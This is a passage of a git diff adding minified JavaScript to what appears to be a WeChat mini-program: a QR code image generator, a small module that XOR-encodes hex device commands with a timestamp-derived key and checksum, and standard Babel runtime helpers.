for (var t = p.glog(n.getAt(0)) - p.glog(r.getAt(0)), e = new Array(n.getLength()), o = 0; o < n.getLength(); o += 1) e[o] = n.getAt(o);
|
||||||
|
for (var a = 0; a < r.getLength(); a += 1) e[a] ^= p.gexp(p.glog(r.getAt(a)) + t);
|
||||||
|
return B(e, 0).mod(r)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
var C = function() {
|
||||||
|
var r = [
|
||||||
|
[1, 26, 19],
|
||||||
|
[1, 26, 16],
|
||||||
|
[1, 26, 13],
|
||||||
|
[1, 26, 9],
|
||||||
|
[1, 44, 34],
|
||||||
|
[1, 44, 28],
|
||||||
|
[1, 44, 22],
|
||||||
|
[1, 44, 16],
|
||||||
|
[1, 70, 55],
|
||||||
|
[1, 70, 44],
|
||||||
|
[2, 35, 17],
|
||||||
|
[2, 35, 13],
|
||||||
|
[1, 100, 80],
|
||||||
|
[2, 50, 32],
|
||||||
|
[2, 50, 24],
|
||||||
|
[4, 25, 9],
|
||||||
|
[1, 134, 108],
|
||||||
|
[2, 67, 43],
|
||||||
|
[2, 33, 15, 2, 34, 16],
|
||||||
|
[2, 33, 11, 2, 34, 12],
|
||||||
|
[2, 86, 68],
|
||||||
|
[4, 43, 27],
|
||||||
|
[4, 43, 19],
|
||||||
|
[4, 43, 15],
|
||||||
|
[2, 98, 78],
|
||||||
|
[4, 49, 31],
|
||||||
|
[2, 32, 14, 4, 33, 15],
|
||||||
|
[4, 39, 13, 1, 40, 14],
|
||||||
|
[2, 121, 97],
|
||||||
|
[2, 60, 38, 2, 61, 39],
|
||||||
|
[4, 40, 18, 2, 41, 19],
|
||||||
|
[4, 40, 14, 2, 41, 15],
|
||||||
|
[2, 146, 116],
|
||||||
|
[3, 58, 36, 2, 59, 37],
|
||||||
|
[4, 36, 16, 4, 37, 17],
|
||||||
|
[4, 36, 12, 4, 37, 13],
|
||||||
|
[2, 86, 68, 2, 87, 69],
|
||||||
|
[4, 69, 43, 1, 70, 44],
|
||||||
|
[6, 43, 19, 2, 44, 20],
|
||||||
|
[6, 43, 15, 2, 44, 16],
|
||||||
|
[4, 101, 81],
|
||||||
|
[1, 80, 50, 4, 81, 51],
|
||||||
|
[4, 50, 22, 4, 51, 23],
|
||||||
|
[3, 36, 12, 8, 37, 13],
|
||||||
|
[2, 116, 92, 2, 117, 93],
|
||||||
|
[6, 58, 36, 2, 59, 37],
|
||||||
|
[4, 46, 20, 6, 47, 21],
|
||||||
|
[7, 42, 14, 4, 43, 15],
|
||||||
|
[4, 133, 107],
|
||||||
|
[8, 59, 37, 1, 60, 38],
|
||||||
|
[8, 44, 20, 4, 45, 21],
|
||||||
|
[12, 33, 11, 4, 34, 12],
|
||||||
|
[3, 145, 115, 1, 146, 116],
|
||||||
|
[4, 64, 40, 5, 65, 41],
|
||||||
|
[11, 36, 16, 5, 37, 17],
|
||||||
|
[11, 36, 12, 5, 37, 13],
|
||||||
|
[5, 109, 87, 1, 110, 88],
|
||||||
|
[5, 65, 41, 5, 66, 42],
|
||||||
|
[5, 54, 24, 7, 55, 25],
|
||||||
|
[11, 36, 12],
|
||||||
|
[5, 122, 98, 1, 123, 99],
|
||||||
|
[7, 73, 45, 3, 74, 46],
|
||||||
|
[15, 43, 19, 2, 44, 20],
|
||||||
|
[3, 45, 15, 13, 46, 16],
|
||||||
|
[1, 135, 107, 5, 136, 108],
|
||||||
|
[10, 74, 46, 1, 75, 47],
|
||||||
|
[1, 50, 22, 15, 51, 23],
|
||||||
|
[2, 42, 14, 17, 43, 15],
|
||||||
|
[5, 150, 120, 1, 151, 121],
|
||||||
|
[9, 69, 43, 4, 70, 44],
|
||||||
|
[17, 50, 22, 1, 51, 23],
|
||||||
|
[2, 42, 14, 19, 43, 15],
|
||||||
|
[3, 141, 113, 4, 142, 114],
|
||||||
|
[3, 70, 44, 11, 71, 45],
|
||||||
|
[17, 47, 21, 4, 48, 22],
|
||||||
|
[9, 39, 13, 16, 40, 14],
|
||||||
|
[3, 135, 107, 5, 136, 108],
|
||||||
|
[3, 67, 41, 13, 68, 42],
|
||||||
|
[15, 54, 24, 5, 55, 25],
|
||||||
|
[15, 43, 15, 10, 44, 16],
|
||||||
|
[4, 144, 116, 4, 145, 117],
|
||||||
|
[17, 68, 42],
|
||||||
|
[17, 50, 22, 6, 51, 23],
|
||||||
|
[19, 46, 16, 6, 47, 17],
|
||||||
|
[2, 139, 111, 7, 140, 112],
|
||||||
|
[17, 74, 46],
|
||||||
|
[7, 54, 24, 16, 55, 25],
|
||||||
|
[34, 37, 13],
|
||||||
|
[4, 151, 121, 5, 152, 122],
|
||||||
|
[4, 75, 47, 14, 76, 48],
|
||||||
|
[11, 54, 24, 14, 55, 25],
|
||||||
|
[16, 45, 15, 14, 46, 16],
|
||||||
|
[6, 147, 117, 4, 148, 118],
|
||||||
|
[6, 73, 45, 14, 74, 46],
|
||||||
|
[11, 54, 24, 16, 55, 25],
|
||||||
|
[30, 46, 16, 2, 47, 17],
|
||||||
|
[8, 132, 106, 4, 133, 107],
|
||||||
|
[8, 75, 47, 13, 76, 48],
|
||||||
|
[7, 54, 24, 22, 55, 25],
|
||||||
|
[22, 45, 15, 13, 46, 16],
|
||||||
|
[10, 142, 114, 2, 143, 115],
|
||||||
|
[19, 74, 46, 4, 75, 47],
|
||||||
|
[28, 50, 22, 6, 51, 23],
|
||||||
|
[33, 46, 16, 4, 47, 17],
|
||||||
|
[8, 152, 122, 4, 153, 123],
|
||||||
|
[22, 73, 45, 3, 74, 46],
|
||||||
|
[8, 53, 23, 26, 54, 24],
|
||||||
|
[12, 45, 15, 28, 46, 16],
|
||||||
|
[3, 147, 117, 10, 148, 118],
|
||||||
|
[3, 73, 45, 23, 74, 46],
|
||||||
|
[4, 54, 24, 31, 55, 25],
|
||||||
|
[11, 45, 15, 31, 46, 16],
|
||||||
|
[7, 146, 116, 7, 147, 117],
|
||||||
|
[21, 73, 45, 7, 74, 46],
|
||||||
|
[1, 53, 23, 37, 54, 24],
|
||||||
|
[19, 45, 15, 26, 46, 16],
|
||||||
|
[5, 145, 115, 10, 146, 116],
|
||||||
|
[19, 75, 47, 10, 76, 48],
|
||||||
|
[15, 54, 24, 25, 55, 25],
|
||||||
|
[23, 45, 15, 25, 46, 16],
|
||||||
|
[13, 145, 115, 3, 146, 116],
|
||||||
|
[2, 74, 46, 29, 75, 47],
|
||||||
|
[42, 54, 24, 1, 55, 25],
|
||||||
|
[23, 45, 15, 28, 46, 16],
|
||||||
|
[17, 145, 115],
|
||||||
|
[10, 74, 46, 23, 75, 47],
|
||||||
|
[10, 54, 24, 35, 55, 25],
|
||||||
|
[19, 45, 15, 35, 46, 16],
|
||||||
|
[17, 145, 115, 1, 146, 116],
|
||||||
|
[14, 74, 46, 21, 75, 47],
|
||||||
|
[29, 54, 24, 19, 55, 25],
|
||||||
|
[11, 45, 15, 46, 46, 16],
|
||||||
|
[13, 145, 115, 6, 146, 116],
|
||||||
|
[14, 74, 46, 23, 75, 47],
|
||||||
|
[44, 54, 24, 7, 55, 25],
|
||||||
|
[59, 46, 16, 1, 47, 17],
|
||||||
|
[12, 151, 121, 7, 152, 122],
|
||||||
|
[12, 75, 47, 26, 76, 48],
|
||||||
|
[39, 54, 24, 14, 55, 25],
|
||||||
|
[22, 45, 15, 41, 46, 16],
|
||||||
|
[6, 151, 121, 14, 152, 122],
|
||||||
|
[6, 75, 47, 34, 76, 48],
|
||||||
|
[46, 54, 24, 10, 55, 25],
|
||||||
|
[2, 45, 15, 64, 46, 16],
|
||||||
|
[17, 152, 122, 4, 153, 123],
|
||||||
|
[29, 74, 46, 14, 75, 47],
|
||||||
|
[49, 54, 24, 10, 55, 25],
|
||||||
|
[24, 45, 15, 46, 46, 16],
|
||||||
|
[4, 152, 122, 18, 153, 123],
|
||||||
|
[13, 74, 46, 32, 75, 47],
|
||||||
|
[48, 54, 24, 14, 55, 25],
|
||||||
|
[42, 45, 15, 32, 46, 16],
|
||||||
|
[20, 147, 117, 4, 148, 118],
|
||||||
|
[40, 75, 47, 7, 76, 48],
|
||||||
|
[43, 54, 24, 22, 55, 25],
|
||||||
|
[10, 45, 15, 67, 46, 16],
|
||||||
|
[19, 148, 118, 6, 149, 119],
|
||||||
|
[18, 75, 47, 31, 76, 48],
|
||||||
|
[34, 54, 24, 34, 55, 25],
|
||||||
|
[20, 45, 15, 61, 46, 16]
|
||||||
|
],
|
||||||
|
t = function(r, t) {
|
||||||
|
var e = {};
|
||||||
|
return e.totalCount = r, e.dataCount = t, e
|
||||||
|
},
|
||||||
|
e = {};
|
||||||
|
return e.getRSBlocks = function(e, n) {
|
||||||
|
var o = function(t, e) {
|
||||||
|
switch (e) {
|
||||||
|
case f.L:
|
||||||
|
return r[4 * (t - 1)];
|
||||||
|
case f.M:
|
||||||
|
return r[4 * (t - 1) + 1];
|
||||||
|
case f.Q:
|
||||||
|
return r[4 * (t - 1) + 2];
|
||||||
|
case f.H:
|
||||||
|
return r[4 * (t - 1) + 3];
|
||||||
|
default:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}(e, n);
|
||||||
|
if (void 0 === o) throw new Error("bad rs block @ typeNumber:" + e + "/errorCorrectLevel:" + n);
|
||||||
|
for (var a = o.length / 3, i = [], u = 0; u < a; u += 1)
|
||||||
|
for (var g = o[3 * u], c = o[3 * u + 1], h = o[3 * u + 2], l = 0; l < g; l += 1) i.push(t(c, h));
|
||||||
|
return i
|
||||||
|
}, e
|
||||||
|
}(),
|
||||||
|
k = function() {
|
||||||
|
var r = [],
|
||||||
|
t = 0,
|
||||||
|
e = {
|
||||||
|
getBuffer: function() {
|
||||||
|
return r
|
||||||
|
},
|
||||||
|
getAt: function(t) {
|
||||||
|
var e = Math.floor(t / 8);
|
||||||
|
return 1 == (r[e] >>> 7 - t % 8 & 1)
|
||||||
|
},
|
||||||
|
put: function(r, t) {
|
||||||
|
for (var n = 0; n < t; n += 1) e.putBit(1 == (r >>> t - n - 1 & 1))
|
||||||
|
},
|
||||||
|
getLengthInBits: function() {
|
||||||
|
return t
|
||||||
|
},
|
||||||
|
putBit: function(e) {
|
||||||
|
var n = Math.floor(t / 8);
|
||||||
|
r.length <= n && r.push(0), e && (r[n] |= 128 >>> t % 8), t += 1
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return e
|
||||||
|
},
|
||||||
|
m = function(r) {
|
||||||
|
for (var t = i, e = r, n = [], o = {}, a = 0, u = e.length; a < u; a++) {
|
||||||
|
var f = [],
|
||||||
|
g = e.charCodeAt(a);
|
||||||
|
g > 65536 ? (f[0] = 240 | (1835008 & g) >>> 18, f[1] = 128 | (258048 & g) >>> 12, f[2] = 128 | (4032 & g) >>> 6, f[3] = 128 | 63 & g) : g > 2048 ? (f[0] = 224 | (61440 & g) >>> 12, f[1] = 128 | (4032 & g) >>> 6, f[2] = 128 | 63 & g) : g > 128 ? (f[0] = 192 | (1984 & g) >>> 6, f[1] = 128 | 63 & g) : f[0] = g, n.push(f)
|
||||||
|
}(n = Array.prototype.concat.apply([], n)).length !== e.length && (n.unshift(191), n.unshift(187), n.unshift(239));
|
||||||
|
var c = n;
|
||||||
|
return o.getMode = function() {
|
||||||
|
return t
|
||||||
|
}, o.getLength = function(r) {
|
||||||
|
return c.length
|
||||||
|
}, o.write = function(r) {
|
||||||
|
for (var t = 0; t < c.length; t += 1) r.put(c[t], 8)
|
||||||
|
}, o
|
||||||
|
},
|
||||||
|
A = function() {
|
||||||
|
var r = [],
|
||||||
|
t = {
|
||||||
|
writeByte: function(t) {
|
||||||
|
r.push(255 & t)
|
||||||
|
},
|
||||||
|
writeShort: function(r) {
|
||||||
|
t.writeByte(r), t.writeByte(r >>> 8)
|
||||||
|
},
|
||||||
|
writeBytes: function(r, e, n) {
|
||||||
|
e = e || 0, n = n || r.length;
|
||||||
|
for (var o = 0; o < n; o += 1) t.writeByte(r[o + e])
|
||||||
|
},
|
||||||
|
writeString: function(r) {
|
||||||
|
for (var e = 0; e < r.length; e += 1) t.writeByte(r.charCodeAt(e))
|
||||||
|
},
|
||||||
|
toByteArray: function() {
|
||||||
|
return r
|
||||||
|
},
|
||||||
|
toString: function() {
|
||||||
|
var t = "";
|
||||||
|
t += "[";
|
||||||
|
for (var e = 0; e < r.length; e += 1) e > 0 && (t += ","), t += r[e];
|
||||||
|
return t += "]"
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return t
|
||||||
|
},
|
||||||
|
L = function(r) {
|
||||||
|
var t = r,
|
||||||
|
e = 0,
|
||||||
|
n = 0,
|
||||||
|
o = 0,
|
||||||
|
a = {
|
||||||
|
read: function() {
|
||||||
|
for (; o < 8;) {
|
||||||
|
if (e >= t.length) {
|
||||||
|
if (0 === o) return -1;
|
||||||
|
throw new Error("unexpected end of file./" + o)
|
||||||
|
}
|
||||||
|
var r = t.charAt(e);
|
||||||
|
if (e += 1, "=" === r) return o = 0, -1;
|
||||||
|
r.match(/^\s$/) || (n = n << 6 | i(r.charCodeAt(0)), o += 6)
|
||||||
|
}
|
||||||
|
var a = n >>> o - 8 & 255;
|
||||||
|
return o -= 8, a
|
||||||
|
}
|
||||||
|
},
|
||||||
|
i = function(r) {
|
||||||
|
if (65 <= r && r <= 90) return r - 65;
|
||||||
|
if (97 <= r && r <= 122) return r - 97 + 26;
|
||||||
|
if (48 <= r && r <= 57) return r - 48 + 52;
|
||||||
|
if (43 == r) return 62;
|
||||||
|
if (47 == r) return 63;
|
||||||
|
throw new Error("c:" + r)
|
||||||
|
};
|
||||||
|
return a
|
||||||
|
},
|
||||||
|
M = function(r, t) {
|
||||||
|
var e = r,
|
||||||
|
n = t,
|
||||||
|
o = new Array(r * t),
|
||||||
|
a = {
|
||||||
|
setPixel: function(r, t, n) {
|
||||||
|
o[t * e + r] = n
|
||||||
|
},
|
||||||
|
write: function(r) {
|
||||||
|
r.writeString("GIF87a"), r.writeShort(e), r.writeShort(n), r.writeByte(128), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(255), r.writeByte(255), r.writeByte(255), r.writeString(","), r.writeShort(0), r.writeShort(0), r.writeShort(e), r.writeShort(n), r.writeByte(0);
|
||||||
|
var t = i(2);
|
||||||
|
r.writeByte(2);
|
||||||
|
for (var o = 0; t.length - o > 255;) r.writeByte(255), r.writeBytes(t, o, 255), o += 255;
|
||||||
|
r.writeByte(t.length - o), r.writeBytes(t, o, t.length - o), r.writeByte(0), r.writeString(";")
|
||||||
|
}
|
||||||
|
},
|
||||||
|
i = function(r) {
|
||||||
|
for (var t = 1 << r, e = 1 + (1 << r), n = r + 1, a = u(), i = 0; i < t; i += 1) a.add(String.fromCharCode(i));
|
||||||
|
a.add(String.fromCharCode(t)), a.add(String.fromCharCode(e));
|
||||||
|
var f = A(),
|
||||||
|
g = function(r) {
|
||||||
|
var t = r,
|
||||||
|
e = 0,
|
||||||
|
n = 0,
|
||||||
|
o = {
|
||||||
|
write: function(r, o) {
|
||||||
|
if (r >>> o != 0) throw new Error("length over");
|
||||||
|
for (; e + o >= 8;) t.writeByte(255 & (r << e | n)), o -= 8 - e, r >>>= 8 - e, n = 0, e = 0;
|
||||||
|
n |= r << e, e += o
|
||||||
|
},
|
||||||
|
flush: function() {
|
||||||
|
e > 0 && t.writeByte(n)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return o
|
||||||
|
}(f);
|
||||||
|
g.write(t, n);
|
||||||
|
var c = 0,
|
||||||
|
h = String.fromCharCode(o[c]);
|
||||||
|
for (c += 1; c < o.length;) {
|
||||||
|
var l = String.fromCharCode(o[c]);
|
||||||
|
c += 1, a.contains(h + l) ? h += l : (g.write(a.indexOf(h), n), a.size() < 4095 && (a.size() === 1 << n && (n += 1), a.add(h + l)), h = l)
|
||||||
|
}
|
||||||
|
return g.write(a.indexOf(h), n), g.write(e, n), g.flush(), f.toByteArray()
|
||||||
|
},
|
||||||
|
u = function() {
|
||||||
|
var r = {},
|
||||||
|
t = 0,
|
||||||
|
e = {
|
||||||
|
add: function(n) {
|
||||||
|
if (e.contains(n)) throw new Error("dup key:" + n);
|
||||||
|
r[n] = t, t += 1
|
||||||
|
},
|
||||||
|
size: function() {
|
||||||
|
return t
|
||||||
|
},
|
||||||
|
indexOf: function(t) {
|
||||||
|
return r[t]
|
||||||
|
},
|
||||||
|
contains: function(t) {
|
||||||
|
return void 0 !== r[t]
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return e
|
||||||
|
};
|
||||||
|
return a
|
||||||
|
},
|
||||||
|
b = function(r, t, e, n) {
|
||||||
|
for (var o = M(r, t), a = 0; a < t; a += 1)
|
||||||
|
for (var i = 0; i < r; i += 1) o.setPixel(i, a, e(i, a));
|
||||||
|
var u = A();
|
||||||
|
o.write(u);
|
||||||
|
for (var f = function() {
|
||||||
|
var r = 0,
|
||||||
|
t = 0,
|
||||||
|
e = 0,
|
||||||
|
n = "",
|
||||||
|
o = {},
|
||||||
|
a = function(r) {
|
||||||
|
n += String.fromCharCode(i(63 & r))
|
||||||
|
},
|
||||||
|
i = function(r) {
|
||||||
|
if (r < 0);
|
||||||
|
else {
|
||||||
|
if (r < 26) return 65 + r;
|
||||||
|
if (r < 52) return r - 26 + 97;
|
||||||
|
if (r < 62) return r - 52 + 48;
|
||||||
|
if (62 === r) return 43;
|
||||||
|
if (63 === r) return 47
|
||||||
|
}
|
||||||
|
throw new Error("n:" + r)
|
||||||
|
};
|
||||||
|
return o.writeByte = function(n) {
|
||||||
|
for (r = r << 8 | 255 & n, t += 8, e += 1; t >= 6;) a(r >>> t - 6), t -= 6
|
||||||
|
}, o.flush = function() {
|
||||||
|
if (t > 0 && (a(r << 6 - t), r = 0, t = 0), e % 3 != 0)
|
||||||
|
for (var o = 3 - e % 3, i = 0; i < o; i += 1) n += "="
|
||||||
|
}, o.toString = function() {
|
||||||
|
return n
|
||||||
|
}, o
|
||||||
|
}(), g = u.toByteArray(), c = 0; c < g.length; c += 1) f.writeByte(g[c]);
|
||||||
|
f.flush();
|
||||||
|
var h = "";
|
||||||
|
return h += "data:image/gif;base64,", h += f
|
||||||
|
},
|
||||||
|
D = function t(e, n) {
|
||||||
|
var o, a = (n = n || {}).typeNumber || 4,
|
||||||
|
i = n.errorCorrectLevel || "M",
|
||||||
|
u = n.size || 500;
|
||||||
|
try {
|
||||||
|
(o = r(a, i || "M")).addData(e), o.make()
|
||||||
|
} catch (r) {
|
||||||
|
if (a >= 40) throw new Error("Text too long to encode");
|
||||||
|
return t(e, {
|
||||||
|
size: u,
|
||||||
|
errorCorrectLevel: i,
|
||||||
|
typeNumber: a + 1
|
||||||
|
})
|
||||||
|
}
|
||||||
|
var f = parseInt(u / o.getModuleCount()),
|
||||||
|
g = parseInt((u - o.getModuleCount() * f) / 2);
|
||||||
|
return o.createImgTag(f, g, u)
|
||||||
|
};
|
||||||
|
exports.QR = D;
|
||||||
65
js/21D38FE5F73FD4DF47B5E7E2FB120D83.js
Normal file
65
js/21D38FE5F73FD4DF47B5E7E2FB120D83.js
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
Object.defineProperty(exports, "__esModule", {
|
||||||
|
value: !0
|
||||||
|
}), exports.decode = function() {
|
||||||
|
var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "",
|
||||||
|
r = t.match(/[0-9A-F]{2}/gi),
|
||||||
|
n = r.map((function(t) {
|
||||||
|
return Number.parseInt(t, 16)
|
||||||
|
})),
|
||||||
|
e = n.map((function(t) {
|
||||||
|
return String.fromCharCode(t)
|
||||||
|
})).join(""),
|
||||||
|
a = e.substring(1, 13).match(/[0-9A-F]{2}/gi),
|
||||||
|
u = a.map((function(t) {
|
||||||
|
return Number.parseInt(t, 16)
|
||||||
|
})),
|
||||||
|
o = u[0] ^ u[2];
|
||||||
|
o = 255 & (o = (o = (o = (o += u[4]) ^ u[1]) + u[3]) ^ u[5]);
|
||||||
|
var i = e.slice(13, -4).match(/[0-9A-F]{2}/gi).map((function(t) {
|
||||||
|
return Number.parseInt(t, 16) ^ o
|
||||||
|
}));
|
||||||
|
return i.map((function(t) {
|
||||||
|
return Number(t).toString(16).padStart(2, "0").toUpperCase()
|
||||||
|
}))
|
||||||
|
}, exports.getCommand = function() {
|
||||||
|
var r = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "",
|
||||||
|
n = new Date,
|
||||||
|
e = n.getFullYear(),
|
||||||
|
a = n.getMonth() + 1,
|
||||||
|
u = n.getDate(),
|
||||||
|
o = n.getHours(),
|
||||||
|
i = n.getMinutes(),
|
||||||
|
p = n.getSeconds(),
|
||||||
|
c = [e % 100, a, u, o, i, p].map((function(t) {
|
||||||
|
return t.toString().padStart(2, "0")
|
||||||
|
})),
|
||||||
|
m = c.map((function(t) {
|
||||||
|
return Number.parseInt(t, 16)
|
||||||
|
})),
|
||||||
|
s = m[0] ^ m[2];
|
||||||
|
s = 255 & (s = (s = (s = (s += m[4]) ^ m[1]) + m[3]) ^ m[5]);
|
||||||
|
var g = r.match(/[0-9A-F]{2}/gi).map((function(t) {
|
||||||
|
return (Number.parseInt(t, 16) ^ s).toString(16).padStart(2, "0")
|
||||||
|
})),
|
||||||
|
f = [].concat(t(c), t(g)).join("").toUpperCase(),
|
||||||
|
d = t(f).map((function(t) {
|
||||||
|
return t.charCodeAt(0)
|
||||||
|
})),
|
||||||
|
h = [3].concat(t(d), [4]),
|
||||||
|
S = h.reduce((function(t, r) {
|
||||||
|
return t ^ r
|
||||||
|
})).toString(16).padStart(2, "0").toUpperCase();
|
||||||
|
return h.push.apply(h, t(t(S).map((function(t) {
|
||||||
|
return t.charCodeAt(0)
|
||||||
|
})))), h.push(13), {
|
||||||
|
toArray: function() {
|
||||||
|
return h
|
||||||
|
},
|
||||||
|
toString: function() {
|
||||||
|
return h.map((function(t) {
|
||||||
|
return String.fromCharCode(t)
|
||||||
|
})).join("")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
var t = require("./@babel/runtime/helpers/toConsumableArray.js");
|
||||||
13
js/@babel/runtime/helpers/Arrayincludes.js
Normal file
13
js/@babel/runtime/helpers/Arrayincludes.js
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
Array.prototype.includes || Object.defineProperty(Array.prototype, "includes", {
|
||||||
|
value: function(r, e) {
|
||||||
|
if (null == this) throw new TypeError('"this" is null or not defined');
|
||||||
|
var t = Object(this),
|
||||||
|
n = t.length >>> 0;
|
||||||
|
if (0 == n) return !1;
|
||||||
|
for (var i, o, a = 0 | e, u = Math.max(0 <= a ? a : n - Math.abs(a), 0); u < n;) {
|
||||||
|
if ((i = t[u]) === (o = r) || "number" == typeof i && "number" == typeof o && isNaN(i) && isNaN(o)) return !0;
|
||||||
|
u++
|
||||||
|
}
|
||||||
|
return !1
|
||||||
|
}
|
||||||
|
});
|
||||||
6
js/@babel/runtime/helpers/arrayLikeToArray.js
Normal file
6
js/@babel/runtime/helpers/arrayLikeToArray.js
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
function _arrayLikeToArray(r, a) {
|
||||||
|
(null == a || a > r.length) && (a = r.length);
|
||||||
|
for (var e = 0, n = new Array(a); e < a; e++) n[e] = r[e];
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
module.exports = _arrayLikeToArray;
|
||||||
6
js/@babel/runtime/helpers/arrayWithoutHoles.js
Normal file
6
js/@babel/runtime/helpers/arrayWithoutHoles.js
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
var arrayLikeToArray = require("./arrayLikeToArray");
|
||||||
|
|
||||||
|
function _arrayWithoutHoles(r) {
|
||||||
|
if (Array.isArray(r)) return arrayLikeToArray(r)
|
||||||
|
}
|
||||||
|
module.exports = _arrayWithoutHoles;
|
||||||
50
js/@babel/runtime/helpers/createForOfIteratorHelper.js
Normal file
50
js/@babel/runtime/helpers/createForOfIteratorHelper.js
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
var unsupportedIterableToArray = require("./unsupportedIterableToArray");
|
||||||
|
|
||||||
|
function _createForOfIteratorHelper(r, e) {
|
||||||
|
var t = "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"];
|
||||||
|
if (!t) {
|
||||||
|
if (Array.isArray(r) || (t = unsupportedIterableToArray(r)) || e && r && "number" == typeof r.length) {
|
||||||
|
t && (r = t);
|
||||||
|
var n = 0,
|
||||||
|
o = function() {};
|
||||||
|
return {
|
||||||
|
s: o,
|
||||||
|
n: function() {
|
||||||
|
return n >= r.length ? {
|
||||||
|
done: !0
|
||||||
|
} : {
|
||||||
|
done: !1,
|
||||||
|
value: r[n++]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
e: function(r) {
|
||||||
|
throw r
|
||||||
|
},
|
||||||
|
f: o
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")
|
||||||
|
}
|
||||||
|
var a, u = !0,
|
||||||
|
i = !1;
|
||||||
|
return {
|
||||||
|
s: function() {
|
||||||
|
t = t.call(r)
|
||||||
|
},
|
||||||
|
n: function() {
|
||||||
|
var r = t.next();
|
||||||
|
return u = r.done, r
|
||||||
|
},
|
||||||
|
e: function(r) {
|
||||||
|
i = !0, a = r
|
||||||
|
},
|
||||||
|
f: function() {
|
||||||
|
try {
|
||||||
|
u || null == t.return || t.return()
|
||||||
|
} finally {
|
||||||
|
if (i) throw a
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
module.exports = _createForOfIteratorHelper;
|
||||||
11
js/@babel/runtime/helpers/defineProperty.js
Normal file
11
js/@babel/runtime/helpers/defineProperty.js
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
var toPropertyKey = require("./toPropertyKey");
|
||||||
|
|
||||||
|
function _defineProperty(e, r, t) {
|
||||||
|
return (r = toPropertyKey(r)) in e ? Object.defineProperty(e, r, {
|
||||||
|
value: t,
|
||||||
|
enumerable: !0,
|
||||||
|
configurable: !0,
|
||||||
|
writable: !0
|
||||||
|
}) : e[r] = t, e
|
||||||
|
}
|
||||||
|
module.exports = _defineProperty;
|
||||||
4
js/@babel/runtime/helpers/iterableToArray.js
Normal file
4
js/@babel/runtime/helpers/iterableToArray.js
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
function _iterableToArray(r) {
|
||||||
|
if ("undefined" != typeof Symbol && null != r[Symbol.iterator] || null != r["@@iterator"]) return Array.from(r)
|
||||||
|
}
|
||||||
|
module.exports = _iterableToArray;
|
||||||
4
js/@babel/runtime/helpers/nonIterableSpread.js
Normal file
4
js/@babel/runtime/helpers/nonIterableSpread.js
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
function _nonIterableSpread() {
|
||||||
|
throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")
|
||||||
|
}
|
||||||
|
module.exports = _nonIterableSpread;
|
||||||
9
js/@babel/runtime/helpers/toConsumableArray.js
Normal file
9
js/@babel/runtime/helpers/toConsumableArray.js
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
var arrayWithoutHoles = require("./arrayWithoutHoles"),
|
||||||
|
iterableToArray = require("./iterableToArray"),
|
||||||
|
unsupportedIterableToArray = require("./unsupportedIterableToArray"),
|
||||||
|
nonIterableSpread = require("./nonIterableSpread");
|
||||||
|
|
||||||
|
function _toConsumableArray(r) {
|
||||||
|
return arrayWithoutHoles(r) || iterableToArray(r) || unsupportedIterableToArray(r) || nonIterableSpread()
|
||||||
|
}
|
||||||
|
module.exports = _toConsumableArray;
|
||||||
13
js/@babel/runtime/helpers/toPrimitive.js
Normal file
13
js/@babel/runtime/helpers/toPrimitive.js
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
var _typeof = require("./typeof");
|
||||||
|
|
||||||
|
function _toPrimitive(r, t) {
|
||||||
|
if ("object" !== _typeof(r) || null === r) return r;
|
||||||
|
var e = r[Symbol.toPrimitive];
|
||||||
|
if (void 0 !== e) {
|
||||||
|
var i = e.call(r, t || "default");
|
||||||
|
if ("object" !== _typeof(i)) return i;
|
||||||
|
throw new TypeError("@@toPrimitive must return a primitive value.")
|
||||||
|
}
|
||||||
|
return ("string" === t ? String : Number)(r)
|
||||||
|
}
|
||||||
|
module.exports = _toPrimitive;
|
||||||
8
js/@babel/runtime/helpers/toPropertyKey.js
Normal file
8
js/@babel/runtime/helpers/toPropertyKey.js
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
var _typeof = require("./typeof"),
|
||||||
|
toPrimitive = require("./toPrimitive");
|
||||||
|
|
||||||
|
function _toPropertyKey(r) {
|
||||||
|
var t = toPrimitive(r, "string");
|
||||||
|
return "symbol" === _typeof(t) ? t : String(t)
|
||||||
|
}
|
||||||
|
module.exports = _toPropertyKey;
|
||||||
23
js/@babel/runtime/helpers/typeof.js
Normal file
23
js/@babel/runtime/helpers/typeof.js
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
/*
|
||||||
|
* 为了解决 TypeError: _typeofX is not a function 问题, 使用了注入该段代码, 这样只能解决部分问题
|
||||||
|
* 但是默认有一劳永逸解决的方法,如果你遇到这该类型报错
|
||||||
|
* 请按操作执行: 右上角点击“详情”=>“本地设置”=>“将JS编译成ES5”=>取消勾选
|
||||||
|
* */
|
||||||
|
|
||||||
|
function _typeof2(o) {
|
||||||
|
return (_typeof2 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) {
|
||||||
|
return typeof o;
|
||||||
|
} : function (o) {
|
||||||
|
